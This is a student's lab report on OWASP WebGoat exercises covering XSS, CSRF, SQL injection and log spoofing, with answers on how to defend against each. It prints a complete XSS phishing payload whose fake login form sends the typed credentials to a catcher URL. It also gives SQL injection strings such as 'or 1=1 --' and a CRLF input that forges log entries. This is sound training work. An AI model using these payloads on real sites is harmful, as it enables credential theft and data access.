2018-2019-2 网络对抗技术 20165319 Exp 9 Web安全基础

实践过程记录

WebGoat准备工作

下载webgoat-container-7.0.1-war-exec.jar文件

下载地址为:https://github.com/WebGoat/WebGoat/releases ,在最下面的“The OWASP WebGoat 7.0.1 Release”中,选择webgoat-container-7.0.1-war-exec.jar文件进行下载

终止占用8080端口的其他进程

因WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。

需要在含有“webgoat-container-7.0.1-war-exec.jar”文件的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar

如果使用的是其他版本的WebGoat,这个语句要根据文件名进行修改,例如:java -jar webgoat-server-8.0.0.M14.jar

在浏览器中输入“http://localhost:8080/WebGoat”进入WebGoat登录界面

果是7.0.1版本的WebGoat直接用默认用户名密码登录即可;

XSS攻击

反射型XSS:

我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。
value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,
如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS.
别人可能修改这个value值,然后将这个恶意的URL发送给你,当URL地址被打开时,
特有的恶意代码参数就会被HTML解析执行.
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。

存储型XSS与反射型XSS的区别:

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

①打开xss的第三个攻击Reflected XSS Attacks

②在“Enter your three digit access code:”中输入点击Purchase,成功显示警告框,内容为我们script脚本指定的内容:

Phishing with XSS 跨站脚本钓鱼攻击

在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
一个带用户名和密码输入框的表格如下:




This feature requires account login:



Enter Username:

Enter Password:




在XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单

现在我们需要一段脚本:

这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。

将上面两段代码合并搜索

<script>
function hack()
{ 
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
  XSSImage=new Image; 
  XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
} 
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。

CSRF攻击

CSRF攻击介绍:

跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

目标:这次攻击向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。

① 打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)

②查看页面下方Parameters中的src和menu值,分别为280和900。

③在message框中输入,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
宽高设置成1像素的目的是隐藏该图片
④提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

如图所示,攻击成功

SRF Prompt By-Pass

① 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass

②同攻击4,查看页面下侧Parameters中的src和menu值(268和900),并在title框中输入学号,message框中输入代码:

④在Message List中生成以Title命名的链接"5"。

⑤点击进入后,如图攻击成功:

SQL注入攻击

Numeric SQL Injection:

要求注入字符串然后可以访问所有的天气情况:

这里修改一下网页源代码就好了,随便选个城市然后修改他的value值,添加or 1=1 即可;

String SQL Injection:

要求作为smitn然后查看所有的信用卡信息:

  输入or 1=1 --

  --是注释掉后面的代码。

Log Spoofing

题目意思:利用日志的格式,使用换行等字符,欺骗管理员。可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,例如在User Name文本框中输入hgy%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:

点击Purchase:

基础问题回答

1.SQL注入攻击原理,如何防御

原理:通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中

的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。

防御办法:

可以在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等

可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入

作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。

2.XSS攻击的原理,如何防御?

在表单提交或者url参数传递前,对需要的参数进行过滤;

检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。

3.CSRF攻击原理,如何防御?

原理:一般人A在登陆后,在自己的主机页面点击的各类请求都是以A的名义发送的,即A有A的权限;攻击者B在网页注入一个恶意的CSRF攻击URL地址,在A点击后,B借用A的身份进行非法操作,即B有了A的权限

防御:1.cookie的保存时间不宜过长;2.服务器要求用户输入相对应的验证码;3.服务器尽量在表单中使用post方法

实验感想

最后一次实验也圆满完成了。这门课非常有趣,虽然实验每周都有deadline的感觉,不过最后还是很喜欢这些东西。

posted @ 2019-05-26 19:44  高君天  阅读(171)  评论(0编辑  收藏  举报